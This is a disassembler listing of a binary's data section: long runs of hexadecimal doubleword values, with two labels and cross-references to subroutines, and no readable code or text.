		dd 0DE072416h, 17744012h, 748004DFh, 83FD660Ah,	850F05F8h
		dd 80CBDF61h, 59E904CAh, 0CC010763h, 19EE51E9h,	0F90E7406h
		dd 239BED29h, 21B633Dh,	0C11BE9A8h, 4C03C1E8h, 919EBC7Dh
		dd 340B9091h, 9E90ED93h, 96FE049Bh, 8D9E8D9Dh, 19D9DF86h
		dd 91B6BDA7h, 11AD9E89h, 9A89FF15h, 90968C8Dh, 90D9DF91h
		dd 7A682099h, 4E1A6CD4h, 689184B6h, 0A1F1495Eh,	0D27C125h
		dd 415B5381h, 0AC562783h, 2CD02064h, 3F4ABC9Eh,	0ECE203DCh
		dd 32F38A05h, 6B17F17Bh, 0A246D759h, 32762DFAh,	58A76C6Bh
		dd 2609B39Bh, 8680496Dh, 5891612Ch, 646E3C48h, 8826038Fh
		dd 8D500219h, 5E9F647Bh, 10B01384h, 363AAD60h, 0EAD405DEh
		dd 4958F5A4h, 75CFA310h, 3C210706h, 0B26C2515h,	77BF6C09h
		dd 982FDA98h, 0AA087810h, 0ECC2165Eh, 9A922A7Fh, 0A2692451h
		dd 0C10442C9h, 413C0086h, 0A03F016Ah, 0C2240481h, 0D3A102Ch
		dd 94219CE7h, 0E82C8245h, 1943352Ch, 0B7FE010h,	57E62D8h
		dd 534EC190h, 0D8F15075h, 0A42A631Fh, 8D71B59h,	724C8BEDh
		dd 0C1BB8416h, 0D05F5375h, 0C0F01B08h, 10991F4Fh, 88D2F6FAh
		dd 0A8B74010h, 0AF64D975h, 0FFF68507h, 0A8485174h, 178A7D01h
		dd 0D0689D47h, 0E874B294h, 750051DFh, 14726573h, 0F5AB964Ah
		dd 0C0589376h, 106AE241h, 63413692h, 8244AFD3h,	27CE0AB5h
		dd 0F47008CDh, 0F2C1A82Fh, 35925500h, 27F6CA03h, 50EE8A45h
		dd 0FD8CC68h, 0FCDF1945h, 6AA250A7h, 0BAB0649h,	55AE3EA0h
		dd 3A12DD3Eh, 0EE1693EEh, 0DBED4164h, 0C482DC3h, 4D6AFF10h
		dd 0D2A27168h, 5053FEA8h, 0FFA076E8h, 8B1790FFh, 64E0FFDEh
		dd 84182129h, 0D891684Fh, 0D8B08100h, 8D0FFF66h, 36C0A8BDh
		dd 102C1900h, 2DAFB9E1h, 46ABF3B0h, 981C0D6Bh, 0C8DFA825h
		dd 0EFD55703h, 0BBB92075h, 0CB23303h, 62A9BB7Bh, 0C5F77F04h
		dd 8758BD9h, 8BCC6AFEh,	0FD74A6FCh, 51114B09h, 24032F8Fh
		dd 0E9110D6Fh, 6B5DCBCh, 465AF833h, 6DA8584Eh, 2F2063Ah
		dd 25E6762Fh, 24AA2078h, 78C6143h, 70134826h, 915516E2h
		dd 83302504h, 80045B5h,	8283119h, 50F0FC4h, 81800AE8h
		dd 272445B2h, 0DE6872BEh, 9D2DD541h, 0C1D804DEh, 95543E47h
		dd 31044BCFh, 0C4557F04h, 26D4840Fh, 3B0B18FCh,	1B3964C5h
		dd 0DD06FD55h, 3D252FA3h, 12B0EB0Dh, 0F97B4D9Fh, 0CC483E0h
		dd 86A33B58h, 0F5FC61Bh, 0E181E247h, 365A1471h,	47BC6923h
		dd 63C7E7FFh, 28C97C4h,	0B75E6211h, 63098CE8h, 0C2080647h
		dd 6668BB3Fh, 0E2829735h, 0E810C193h, 74D60386h, 6209E6AFh
		dd 4575B12Ah, 0D793F692h, 6DE30DFEh, 0CD43B468h, 9533CCEEh
		dd 0BF04DE9Bh, 0CCFB21B8h, 8EA88F47h, 5BB8A710h, 1FFF4724h
		dd 9AC35412h, 0C93BFDF3h, 0F8C833F3h, 0F1E2BD8Bh, 0B845C1B7h
		dd 0AF0CE881h, 9B06C19Fh, 0FF60D25Bh, 73C883F2h, 0F2C0855Eh
		dd 16C22BC5h, 0C681F8D0h, 2CC100E6h, 74599FC2h,	73BBB1Fh
		dd 6C032E7Eh, 0F35999CFh, 44CB13DAh, 0DE77DB83h, 5B783FB2h
		dd 0A2F2168Ah, 0E1839FEFh, 0F7DDF233h, 0EE6D10D0h, 49C03BF2h
		dd 0C280F2F6h, 6F60646h, 0FF2A41F3h, 8AF28129h,	77DF791Ch
		dd 0C80CE484h, 2AC13C6Fh, 2A557BD3h, 0FE07F7AFh, 0BF0F1688h
		dd 0F1CB1BC6h, 0EEAD450Ah, 9C2BD32h, 0F2C22BDFh, 442BF34Bh
		dd 59006A8Fh, 45F1ED80h, 3BC5A22Bh, 0DBAF48D8h,	48775358h
		dd 3061F7C6h, 91DC7C58h, 68911603h, 0F2FBC50Eh,	0BF2C71Bh
		dd 0F1817F39h, 14DF9A9Ah, 0A953486Fh, 6D5FFF30h, 64126C63h
		dd 51FFE679h, 4DB16F73h, 0FF56D55Eh, 525A6C60h,	3E48BA5Ch
		dd 33A768FFh, 701A643Ah, 0AE4BFF46h, 79234D43h,	52FF4619h
		dd 5E105230h, 0FC3B30FEh, 323C31FBh, 6F406447h,	451BE8C0h
		dd 0F175A3FFh, 2D282A34h, 3725FF24h, 33117D49h,	0DFF3FF1h
		dd 193BED1Fh, 0FF12371Ah, 0FE02D51Ch, 0FA44DE28h, 1DF87512h
		dd 5F1C0B06h, 0EF26299Ah, 35CFFE19h, 21CB15EBh,	1DB3B7F7h
		dd 0C2AD06F3h, 2FF7429h, 8A2302E0h, 81FFEFDCh, 0EA7479CBh
		dd 0FF96F65Fh, 47C9F8CEh, 50E1E9B4h, 0DA4BDEFFh, 4ADD4BDCh
		dd 0BA1EFFE9h, 0CECFE4E2h, 0FFF5BADh, 67C4D9EEh, 0C4D8D90Bh
		dd 0A146D9AEh, 0CBBFADFFh, 4DBBB9C3h, 0C7B521FFh, 0C836E395h
		dd 6C4FF39h, 0AB38AF39h, 0ACFFA443h, 93B8B9B6h,	0FFD8F945h
		dd 0A09E969Bh, 39319A9Bh, 9DBAFBFFh, 0A5A08080h, 0A57AFFA4h
		dd 89D52CFEh, 7FFFA78Bh, 0ED299785h, 81519371h,	57F6F9Fh
		dd 7B05D280h, 0FF87FF04h, 85828860h, 1FF4F84h
		db 0C5h
byte_4B9785	db 0A4h, 77h, 62h	; DATA XREF: sub_40D9C0+6Do
		dd 0FF776C6Ah, 0D705FD76h, 754B7996h, 0F081D3FFh, 1D5D5020h
		dd 5466FF51h, 0CBA0BA66h, 4FFFCA63h, 4A504899h,	0FF1C4C4Dh
		dd 3F6C8DE9h, 3F54522Ah, 0CBCB3EFFh, 0C2495E7Fh, 46C5FD3Ah
		dd 54481E6Fh, 311E47BFh, 0FF29BBC0h, 0B20CBA30h, 33A037A1h
		dd 350BD3FFh, 22E18802h, 1B8DFF1Ah, 8C29278Ch, 22FF9726h
		dd 110F075Bh, 0FFF60B10h, 122B509Ch, 0A2D31904h, 4D5A5FFh
		dd 0FBEFBEFEh, 0FCFAFFF2h, 959A0607h, 9FF2667h,	0EE6B0270h
		dd 0FFF1E676h, 0CE9C30FCh, 0F2F3F8F6h, 537169FFh, 0E1D7F512h
		dd 0DD1D0BB7h, 0E7066F45h, 0E4FFE5E8h, 0AAE0E4BAh, 0FFA6D0C6h
		dd 0A2CCC2ECh, 0E4D8AEF8h, 0D4AA3FE2h, 0C1B6DDDFh, 26FFD059h
		dd 0C3C8C69Eh, 0FF41A1C2h, 47C5E223h, 1AC9CEEFh, 0B61DAAFFh
		dd 0B5B38BE9h, 0C89FFFB4h, 0A6BFF430h, 78EB9A98h, 7F6194C6h
		dd 8FA57DC2h, 0E6FF918Eh, 98B1CE1Ah, 0FF99976Fh, 0ECA9398h
		dd 7992B3F8h, 7A7B81FFh, 0DA18287Dh, 57CF19Dh, 0D3BE0489h
		dd 8B3D6F5Dh, 4753FFC6h, 0B7FFDC72h, 0D061D1F0h, 0A5CAA95Dh
		dd 0C2FF475Ch, 4FD263D3h, 0FF514703h, 1D83115Dh, 5358562Eh
		dd 0CFCE52FFh, 383D7293h, 3D3AFF40h, 9DD37C3Ch,	0B8FF475Ch
		dd 4344B348h, 0FF3A2E1Ch, 372D258Fh, 0C25F3936h, 205976FFh
		dd 0A62128F4h, 1AA9E11Eh, 0F27FFFDCh, 0CDA2A648h, 0E0FFF24h
		dd 0A10080Fh, 56FF0C0Dh, 172C6DA3h, 0FF0F13F1h,	0FEF6FAh
		dd 990BFAFBh, 0FD1A5BFFh, 0C11509DFh, 105FFDBh,	0EAF0E8F9h
		dd 0D8FFECEDh, 0F70C4D83h, 0FF63F868h, 0DFCCD8F4h, 754FEFCFh
		dd 0A6DA37FFh, 0E8C1E3CAh, 855DFF4Ch, 0EA9CCEBCh, 0D7FCCDC5h
		dd 64EAD9D6h, 3BDF2F36h, 0C1FF3AD5h, 2BC0301Ah,	0FFB469BCh
		dd 9DDFFFC6h, 0B1AEAFC5h, 0E3CBBFFh, 644B0D1h, 9A79FFB1h
		dd 0AEB290B2h, 0A185998Ch, 0D59DFFFFh, 9CBDFA38h, 0BFAA97Eh
		dd 8E864F64h, 2B8AAC17h, 0AAEB29FFh, 0A5996F8Dh, 9206FF3Bh
		dd 18647E09h, 74FF99CAh, 8889867Ch, 0DBE9FFFEh,	7BFF83A8h
		dd 6B6903FFh, 6C656698h, 2A22FF11h, 5FDC73DDh, 4BFF2179h
		dd 0F35A585Ah, 0EDB8DE30h, 3F623A73h, 0DB514EFFh, 43596E8Fh
		dd 0C9E3FC4Ah, 55532BE7h, 0CA28FF2Fh, 3E5FFFB4h, 1E472FFAh
		dd 43FF4846h, 0A3C1AF42h, 0FF274562h, 23B4E631h, 0B159032Dh
		dd 0D3A83FFh, 211E1F35h, 7EACFFDBh, 10DC2041h, 29FFFF29h
		dd 25FBEDE1h, 0FF0731DBh, 3D3AB11h, 0E410030Ah,	0F19EEFFh
		dd 0F9A4B83Bh, 0FDFF6F01h, 3AFF96E0h, 3DB041Dh,	0E3EF0405h
		dd 0DF647A2Dh, 0F7EDE57Fh, 0FF31F9F6h, 0E0193682h, 0E166F567h
		dd 0DBD96AFFh, 0DC6407B9h, 0F1E8FF4Fh, 68F2E3C0h, 0FF0F8F32h
		dd 0FFD78DAFh, 4E9CD3FFh, 7ED2F338h, 0B9BBFFC5h, 82DDD1C0h
		dd 0F4FFC7B4h, 0C29B9491h, 0FC16D38Fh, 1996B0A6h, 0B3BFB78Fh
		dd 0D3182E23h, 60CCB2FFh, 2540A096h, 0A9A7FF7Fh, 34EBA3A8h
		dd 8AFFC3E8h, 42898F7Ch, 0FF8A8343h, 6EF7BF3Ah,	0FDB44E98h
		dd 81FC95FFh, 7C7A728Bh, 9A86FF87h, 89A6E715h, 81FF855Bh
		dd 9A6AE45Fh, 0FE77612Ah, 7378764Eh, 37EFC372h,	0FF575D1Fh
		dd 0D07D3761h, 4966CB5Ah, 0FF22FF4Bh, 514F4736h, 0DC514B50h
		dd 526B90FFh, 49625644h, 5FCDFFB9h, 0A4F1542Dh,	31FFFAD1h
		dd 0C53CC247h, 0FF203348h, 1CF93E42h, 25F6B92Fh, 0FF857E42h
		dd 0C5D638FDh, 2F1B5879h, 12922BFFh, 271C1AFFh,	87B5A026h
		dd 9D29FF46h, 710FFD0Fh, 0AFE02BBh, 8616170Ch, 0DFDE77A5h
		dd 0B7FE14ECh, 0B8D2C9Dh, 0DEFF031Fh, 2030806h,	0FF6381A4h
		dd 0F1E70522h, 0EA5CD1FDh, 4FF667FFh, 9D97F9CEh, 0DFCDF7BAh
		dd 0FCFFFBADh, 3BE94CCEh, 0A5040B22h, 0A9ECD4FFh, 0C4DD8A90h
		dd 0D8FF0BE4h, 0D3F6C9FFh, 7EC58E4Bh, 1CE2FF98h, 7F89D7ABh
		dd 0C7FF813Ah, 8945B87Eh, 0FFB0B1A7h, 6D2AA1ABh, 0F00B9059h
		dd 6EB88EFFh, 5E35A2D4h, 766FFE3h, 8FA79C9Eh, 1DFFA917h
		dd 0AF61A381h, 837F6E5Fh, 8D7C7620h, 6F966E91h,	0DD0592FFh
		dd 6FA80DE8h, 7848935Fh, 8DFFD87Dh, 409F763Bh, 0FF6F825Dh
		dd 0A7D9716Eh, 4CED5BD3h, 0EE77C4FFh, 548A834h,	940FE1A3h
		dd 537FF12Ah, 4AB1A40Fh, 63D9F151h, 0FFBF4C47h,	33523FEDh
		dd 421BFF4Bh, 0AE471A57h, 2BFF740Ah, 0F3F8254h,	0AB3AB048h
		dd 127FECBBh, 14593668h, 4159FEBCh, 0F16603F8h,	9E617AAh
		dd 294BFE7Dh, 34A31D6Ch, 0FF0FA5C1h, 1D185120h,	16740DC1h
		dd 7FDD1E83h, 162EE022h, 0A3FF107Eh, 0DF52E548h, 0FFD3D907h
		dd 6F15F020h, 0D8C21005h, 0C70CF1FFh, 0C1C6ECD6h, 14F9FE06h
		dd 8201BCAEh, 0ADFE3B4Ch, 0E409FFE7h, 0E31970F6h, 0F5FFACB5h
		dd 8FDFE1CCh, 0FF647146h, 4442398Ah, 8A18A2Ah, 0FF4A4685h
		dd 0D2EEB81Bh, 45A737B6h, 47B602FFh, 0B6A249B9h, 0C14BFFBFh
		dd 3346CFA2h, 4FF07ECh,	242229C2h, 0FF839522h, 0A346660h
		dd 2080209h, 9C9531FFh,	7780866h, 3D01FF8Fh, 8D1F440Fh
		dd 3F6F4510h, 0FFBF6F30h, 0E1363C66h, 439C202Ch, 0BF39AFC0h
		dd 62FD306Bh, 48FFD3A8h, 0C0BAC1DAh, 0EB356FC2h, 28B08E4Ch
		dd 0BAAB937Fh, 0FFB4B2A9h, 28F1969Ah, 6EA76C56h, 9FD47BFFh
		dd 9A705386h, 807AFF81h, 0CB5A542h, 0FF304Eh, 7C29B727h
		dd 0FF101F1Fh, 89FAB24Dh, 2B27481Ch, 67BEB2FFh,	3215481Bh
		dd 0C0C1DBDCh, 0B5FF0C9Bh, 0C426104Eh, 229A527h, 0B71BFF7Bh
		dd 80BE309h, 1C69F154h,	326FF0F1h, 0F65ED553h, 0F5D4620h
		dd 793FF9Fh, 24FF7D31h,	0E942F615h, 0FC0D340Fh,	361F9753h
		dd 46311B09h, 5F0301BBh, 0C6CFFAC3h, 0DBBFE8B3h, 5B7FA4AFh
		dd 0A6E39FCEh, 7FA194C9h, 0D898B93h, 1DFA71A7h,	5FB9859Fh
		dd 0FF34985Bh, 69367FFBh, 9297F03h, 5295287Bh, 6D2023FFh
		dd 53480BE2h, 7DBF6E65h, 0E37FFFE2h, 0FF0DC7C0h, 0C748C709h
		dd 0BF10F52Eh, 0C47C26FCh, 5B1A2DF5h, 1FFF9CD4h, 1F2716F6h
		dd 0EE64C106h, 6F0906DFh, 0FF5433FFh, 0FF64E936h, 6B7FD26h
		dd 643261Fh, 0E1A90FBBh, 6149277Fh, 0A2ED3F6Fh,	0C8BBFF09h
		dd 0BF9BB1C7h, 7F6E7FA5h, 295F12E1h, 0FFD5888Bh, 0BD70A362h
		dd 95889B62h, 96C132FFh, 42878580h, 7544FF7Fh, 3F257F4Ah
		dd 32FF2B69h, 0F2B2123h, 0ED1F7A49h, 33F9B44h, 1F93BFFFh
		dd 0CF1A05D4h, 0BF1FFF45h, 9A25B136h, 0E7FF8FA0h, 0F3EB070Bh
		dd 0FFE72057h, 0F32F9BCFh, 0CB9477CAh, 0D8C1D1E3h, 12E27F11h
		dd 0E1FF453h, 18E9DDFFh, 24F200EEh, 130BFF7Ch, 2E0733E7h
		dd 2CFF1AD1h, 301EE696h, 0FF225402h, 0D675B4C4h, 0CA1752B8h
		dd 241BBCFEh, 84D2A0CEh, 90C67E17h, 89BDCCFCh, 5BB3BB19h
		dd 91FFBE25h, 0A687D73Ah, 0FFA3AEE2h, 0AA4D5EB7h, 45AD655Dh
		dd 51618DFFh, 4575A949h, 85CD8A6Dh, 2A8FFF73h, 61B16AD2h
		dd 14FCB874h, 9D7D1505h, 373A1A38h, 0FF287AC8h,	14660C42h
		dd 42726856h, 4E64F5FFh, 4B70AE1Ch, 567FFFF0h, 0F29EFFFBh
		dd 77FF63DDh, 5DBF4B9Fh, 0FF6E9897h, 9747B081h,	939C5296h
		dd 0CCAE87FFh, 3D37AC9Ah, 0FDB1FF9Eh, 2579B9A1h, 0DDFF3C55h
		dd 0FB36D4D1h, 0FF254D3Dh, 2931016Dh, 0D251549h, 3957ADFFh
		dd 3DE0A901h, 54E3F815h, 0B7D71901h, 0FFDA290Dh, 23CEDF34h
		dd 1F4C9DBh, 0ABC4D5FFh, 0D3D0D575h, 0EFC4E9EAh, 3F7F8CEFh
		dd 0C3F7DF8Bh, 839BFF97h, 8DB9E391h, 8DFFB0FCh,	21E58DFDh
		dd 0F8E9F1E1h, 0FFB3F5CEh, 0EDA897CAh, 0CBF0E81Eh, 7BB3DD70h
		dd 0AA2FC2h, 72FF19F6h
		dd 0D7911E9h, 0FFCE05EDh, 2709113Bh, 0E52D0515h, 211949FEh
		dd 351D4DF1h, 0C0984317h, 0C0C5A1FFh, 0BED4BAC3h, 0FAC2FEF1h
		dd 0B6E1BBB4h, 0BCFFF5A4h, 0B5CFD688h, 9A8B8F6Fh, 9484FFD1h
		dd 33EA482h, 0B65B58B6h, 25A2DBD2h, 1AFF1BFFh, 92674851h
		dd 0FF47535Eh, 530FBB6Fh, 5F0BBF6Bh, 62B176FFh,	16899E04h
		dd 0FFC70279h, 0D5D2171h, 0FF948564h, 80916971h, 0E7ED4D65h
		dd 5F4179F8h, 0A1B70B5Eh, 0FCFF567Ch, 50627896h, 0FF9E74BAh
		dd 9A60BE4Ch, 866CA248h, 52FAECFFh, 84FC9399h, 93BEFDAFh
		dd 0B09E58AAh, 45A2AFBFh, 0F84C8334h, 6C3E543Ah, 68C7371Eh
		dd 264CFF02h, 33281654h, 32FF4918h, 3A4DD60Ch, 0FF103E08h
		dd 2402F422h, 0D836C016h, 2AFC0AF1h, 2E2D2FDCh,	0E4FF32C0h
		dd 0F026D4D2h, 0FF3AE8C6h, 0EDD8208Ch, 7E55F4DDh, 9BDF5BFFh
		dd 0F8967D82h, 8AECF412h, 42BF43FCh, 0F240D0E0h, 0D086FFF4h
		dd 2C9AC8E6h, 9EFDCCFAh, 20D0FE28h, 18FF8FDAh, 22FF4C08h
		dd 0F81AE0F3h, 0FF06ECDEh, 1FD2A136h, 0FB2F0713h, 2B134FFFh
		dd 2BF14BFFh, 0C522FF34h, 0F5BDD5B4h, 0B1FFC999h, 0A4CD9DE1h
		dd 0FA432EDDh, 0C7B3ABA3h, 0DBAEDE93h, 5D15B36Fh, 6597E1BFh
		dd 0C2A3BB8Ah, 0FFFF8151h, 8E5CAA33h, 0F940AE78h, 438864B2h
		dd 9A57F55h, 6A5361C6h,	705E0DFBh, 70FFD900h, 0F16F6036h
		dd 87023F79h, 26FFFF7Eh, 726B677Dh, 0FE486641h,	7B005BE2h
		dd 0F9450B4Dh, 5A0F12FFh, 419BEA6Bh, 94735F97h,	0FF86170Eh
		dd 0A09918A9h, 0BAAA9009h, 9B193FFFh, 554503BCh, 1975FF3Dh
		dd 7A3E407Fh, 61FF3B34h, 34322434h, 0C24C1046h,	0E5FF093Eh
		dd 0B5FFED51h, 81180143h, 0FFB82238h, 0D1291C2Dh, 0C52D1CB9h
		dd 0D1E10DFFh, 0C5F529C9h, 8925FFEDh, 8D31E1D9h, 83FFF5DDh
		dd 1F8E1A2h, 0FFB08298h, 14FE94DAh, 0A8FA8046h,	0E68CC2FCh
		dd 1BE8D694h, 0E4896DA4h, 0F02E7FA5h, 0FC1470CAh, 6E4D6E3h
		dd 0F22EA5FFh, 671AE3D5h, 12131AFCh, 0FF272415h, 0FD339789h
		dd 3821FE51h, 0F0C2D876h, 0F5625F9Ah, 0E8FFBAC0h, 0D4A6CC82h
		dd 0B2BFF296h, 967FFFB3h, 54A58265h, 955DF0B5h,	4B1A979h
		dd 87FFFF7Dh, 5248565Eh, 440AA0FFh, 50147E6Eh, 12B8FD6Ah
		dd 1BE9775Ch, 0FFD1D34Bh, 0A6D7E17h, 241F6C7Ch,	0FF617BC2h
		dd 0FF5509E5h, 720FA905h, 5A4A704Eh, 577CBEFFh,	57637BBCh
		dd 0F3FF1B83h, 9B6301FFh, 876FBB4Fh, 8B3CFFC3h,	871D4993h
		dd 0BA167BAFh, 8A17ABFFh, 0A8C5B69Fh, 8D9486FFh, 0DF908B86h
		dd 8B94FE9Eh, 9A918886h, 7609D198h, 85988A2Fh, 9E8DFB32h
		dd 1DF5F2DEh, 3CDB9360h, 0DF2F1285h, 8ADFFF96h,	979C8A8Dh
		dd 95029290h, 98908DF6h, 9007BB10h, 3890B691h, 0AEAB3596h
		dd 0DFB62F2Dh, 0BDF8512h, 909394DFh, 0AF8B176Ch, 858CDB25h
		dd 9EF6910Fh, 498C968Fh, 0DF9048B6h, 0DFD2DF23h, 8F8ADB8Ch
		dd 8BED8D1Eh, 0B7528CBFh, 9CD10289h, 0FB3C4E6Bh, 199D8A93h
		dd 0F717946Dh, 8B8C8685h, 5A855D2Bh, 9C90F692h,	0ED60DF86h
		dd 63999693h, 8BFE9738h, 0D0C58F8Bh, 0DB88D0h, 0D02F3BD1h
		dd 939AF697h, 0ED1AD18Fh, 88239392h, 71A12CFFh,	0C00660C3h
		dd 6A7D04h, 68141768h, 0CC8939E8h, 0FF642E2Fh, 43006C6Ch
		dd 6F95F94Fh, 0A38743FFh, 5753AAC4h, 310DFF12h,	0EF683345h
		dd 8B05FFDAh, 461F1F55h, 0C196748Bh, 92324D3Eh,	0B3B844B5h
		dd 0DD89FAC4h, 13A0DE2Eh, 1E4A8867h, 74FB3E70h,	0A6E00960h
		dd 0FFC47E06h, 543148D0h, 5013E8D4h, 35499544h,	0C02BF104h
		dd 45FB0650h, 505054F1h, 7904FE06h, 0BE0005CCh,	0C4FE72E8h
		dd 0C39041B2h, 28C4683Ah, 55FF425Eh, 0C1C2204Fh, 78C7E887h
		dd 74402AF5h, 0B6F60C58h, 0F08BABCh, 0B0B6A9A8h, 0BBFE0ABBh
		dd 0B8AABDBAh, 0ADAD0CC6h, 9C9E1BF9h, 0EDBB341Bh, 696899Ah
		dd 0FA13CFB3h, 0A7A9B8BAh, 37AA3BBh, 0B2F21660h, 0B4BB1B0h
		dd 0A3ADFFF4h, 91748F1Dh, 8C11BFBCh, 96B9FF8Ch,	0C9A93D9h
		dd 11BEAC34h, 0D99AB294h, 0AFBE0CCFh, 18B2B6DBh, 8DFC1B96h
		dd 0BBBDDFC6h, 9790ADF6h, 9D9EFB0Ah, 5B73ABFFh,	9E8DB201h
		dd 17B9B6C7h, 0B60DDF92h, 6AA89E9Bh, 880D5E0Bh,	4022FFFFh
		dd 225F0E86h, 0B890804Ah, 89F78BE6h, 0F69F027Dh, 8D384717h
		dd 0CEB7CD47h, 8CAF982Ch, 7B988332h, 84038021h,	0B59B9015h
		dd 0A50A3D17h, 772DCB01h, 12500371h, 2F6E10B5h,	0B9925688h
		dd 4A026F24h, 85C50F40h, 88E40765h, 16839190h, 617681E5h
		dd 7571437Eh, 59812C8h,	0E10A6A38h, 109A1270h, 0FF3E803Dh
		dd 0C27C9BB1h, 0A19F24CCh, 9A92AE88h, 22B40A01h, 362C9B40h
		dd 0A07F80B1h, 22D03536h, 6C8DA142h, 954456E1h,	5014216Eh
		dd 0E7D86A4Ah, 11E687E1h, 1056CF20h, 24CAE281h,	6A7408ABh
		dd 22F0860Ah, 2384AA42h, 70109888h, 22AE8938h, 0FB6BE99Eh
		dd 0D3013FEDh, 505A38D0h, 0B1459A8Dh, 0A4024802h, 3A134A35h
		dd 0F1EA0336h, 76C4EC5h, 9D5C69Dh, 8EA40DA4h, 1E7B040Eh
		dd 9A370119h, 20100F01h, 13013B66h, 0C97D3D0Ah,	0F44DDB05h
		dd 0F70E4100h, 6A1022CBh, 0D418290h, 96501D8h, 0DC90FECh
		dd 29091CEAh, 907AF603h, 0E35F4C1h, 7C1F465h, 378C8F82h
		dd 446D453Ah, 2C8E0F65h, 3D89065h, 16B41E49h, 65C11DC9h
		dd 0C44247C4h, 4B74890h, 0E2096AC2h, 0B1245455h, 5050C4A3h
		dd 0B601A748h, 4022454Ah, 2A588E98h, 0FF29C912h, 3192C361h
		dd 68050040h, 4316E6EDh, 0AC2BB05h, 35FE8D12h, 0D4FF7A25h
		dd 0A17B68Dh, 56F63AAh,	0EC55AE93h, 22F605C7h, 6FB5EC73h
		dd 9E0A320Fh, 0C8472520h, 336236FDh, 0D91A607Ch, 53F338B2h
		dd 3932671Bh, 46B2839Eh, 3A227CA8h, 0B31C19F9h,	99CF3B02h
		dd 9B4823E2h, 7F3C2C1Dh, 0A9B00D85h, 0ADBEF5C5h, 0C4DB7D91h
		dd 0FBAB0515h, 52B898Eh, 2E31177Fh, 0DFEE39D7h,	0AE263A11h
		dd 75056FB0h, 61EE5C4Ch, 9717CB05h, 0DBF38418h,	981180F0h
		dd 36C2B8EDh, 7131F205h, 63FF6D85h, 5DB0AE2h, 1D633D19h
		dd 46B3ED81h, 10751192h, 5105AD58h, 0B73AB685h,	636C5189h
		dd 3D6905ECh, 0BB2E7E53h, 0FB8D8C19h, 7F05D110h, 0A2C6D857h
dword_4BA62C	dd 1774B705h		; DATA XREF: sub_40EB00+83r
		dd 0C8EEBC0Ch, 89032D2Dh, 9D1651BFh, 633E0905h,	7AED6829h
		dd 0F611DE95h, 0B3A2C6Dh, 744BB705h, 5305EC16h,	0EA74293Eh
		dd 11E82B5Ch, 0ECB3395Bh, 299D0520h, 7FC9E0FDh,	4511BEABh
		dd 0DF1C4167h, 82CE8B05h, 0E505D938h, 7745FB17h, 5D11B59Ah
		dd 56B6E10h, 0DC717456h, 8F3FBD6Dh, 60778441h, 2C11C9B7h
		dd 36E3F288h, 2E7D7505h, 95CED5C7h, 573F628h, 3D3B3FC5h
		dd 0CEE9B507h, 60B5107Dh, 0E639B805h, 408E5BC0h, 5FA41FDDh
		dd 116FF1B7h, 0BB81CDB8h, 39B17DDh, 0BE05BBB5h,	5760745h
		dd 0B91DE074h, 0ACB5F454h, 3B7B0A79h, 6C054887h, 0F06F0AB3h
		dd 0AB8B115h, 499255EDh, 0AD3BB05h, 15F6FF06h, 64B38D0h
		dd 164262EFh, 0B18CDB87h, 4CD0AD5h, 439E3FB6h, 9B567900h
		dd 0E6FF1DA0h, 8D843227h, 0FBD81C9Bh, 1D057BCDh, 551F8844h
		dd 6FDAB997h, 0EF37607Ch, 0C00529B7h, 53DECA6Eh, 0A7BC92DFh
		dd 44B24D05h, 4460713Ah, 65983593h, 44BEEC15h, 3AEC737Dh
		dd 0EB44FB6Fh, 19F6CC52h, 0FB5C2F41h, 4594F79Bh, 8B4F5D05h
		dd 454F05ECh, 47349C2Eh, 0ED3E2023h, 611E1773h,	0E22C5F6Fh
		dd 4761D805h, 38A0FB7Fh, 7D116787h, 8388B29Eh, 653D05BEh
		dd 7B5F0711h, 0D90E22CAh, 0FB1D8805h, 55E1276Fh, 86105D11h
		dd 6D56056Bh, 0BF04411Ch, 5183898h, 80094810h, 0A7E31DF3h
		dd 5860E27Dh, 119F5E05h, 95C27919h, 652ED69Ah, 7C48DFABh
		dd 0F5209B1Bh, 0F98B0848h, 17863E92h, 4D9618B8h, 2C30736Fh
		dd 21D9059Bh, 0A6C9F49h, 0D99862B9h, 60168B76h,	5D9A22Dh
		dd 0B1760A90h, 38E07921h, 5B49C5B6h, 0C173ED3Eh, 6155DF40h
		dd 6F9514D9h, 29B2C305h, 14052AF6h, 0DC33234Ah,	3A4A33EFh
		dd 3A5CFCBFh, 4BD7634Ah, 434F5EDh, 482D7528h, 0B72D05AEh
		dd 53650591h, 742254D2h, 3B854AD9h, 1FD04AC5h, 5E04E9AFh
		dd 0A8A61C6Fh, 0F1E11B44h, 0DBCC1C63h, 0F6054406h, 0E1744AB1h
		dd 0CDA8E421h, 12A2897Eh, 0B63B7E89h, 0FD8D1225h, 224BBFF2h
		dd 0E3607A7h, 0AF29474Bh, 1C0255DBh, 0FA24ED4Ah, 6C6F05A9h
		dd 0D80553F4h, 0FB574B18h, 5A479C4h, 9F555B11h,	6405FAECh
		dd 0D49DFD29h, 11DD7869h, 37D7F53Fh, 0AFEA7E69h, 177D05D9h
		dd 38C7C0FDh, 10F68DE5h, 0FDFF05B3h, 5675FD4h, 0A4644C6Dh
		dd 0CF0AD7D8h, 0EF33DEF4h, 6C3BE4B3h, 61634D38h, 0DF53BC67h
		dd 57F323Bh, 334DAED9h,	3F1CB936h, 4C50C1Dh, 0FE261BB4h
		dd 4BFB3AFCh, 644DCD05h, 4E14EC60h, 4E379D27h, 3CBC508Eh
		dd 390B696Bh, 2279ECC0h, 190AA3BBh, 15E7ECE0h, 8C4F0ABDh
		dd 2DFBA42Ch, 4F26164Fh, 6279A04Eh, 0A1F6D419h,	4330E54Fh
		dd 0DF7CB7B7h, 0D693A576h, 2792B705h, 0C805D9ADh, 0AEF7639h
		dd 2EE1BC33h, 0B41EBE50h, 96396A7Dh, 5F32CD6h, 0DFE72CBAh
		dd 5A4E9705h, 8E05DCCFh, 26079B1Dh, 6891DAF1h, 8710EBDAh
		dd 0B49D7F05h, 0C1050F9Eh, 9CD550A4h, 59350C6h,	0A725192h
		dd 515D4E51h, 7DF77C9h,	3CAC0A52h, 0CDBCCE1Fh, 8C413AE8h
		dd 689D4D52h, 8F8E8F52h, 73A6A5ACh, 0CE1FED3Dh,	7AF20581h
		dd 0FE039C3Eh, 7387CF5h, 1DCFFF05h, 15DAFBD3h, 10EB1162h
		dd 0F97C05F2h, 0BFE40E70h, 0C81CE1F3h, 5343D905h, 53813B68h
		dd 53862789h, 53D0E124h, 83E51EC5h, 89A81665h, 0A8BB37E0h
		dd 27C753EEh, 0EC2453F3h, 9D485432h, 3A255458h,	0C547AE1h
		dd 1A14FD1Ch, 306178Dh,	0FE12DAF9h, 2581DF05h, 848C05FCh
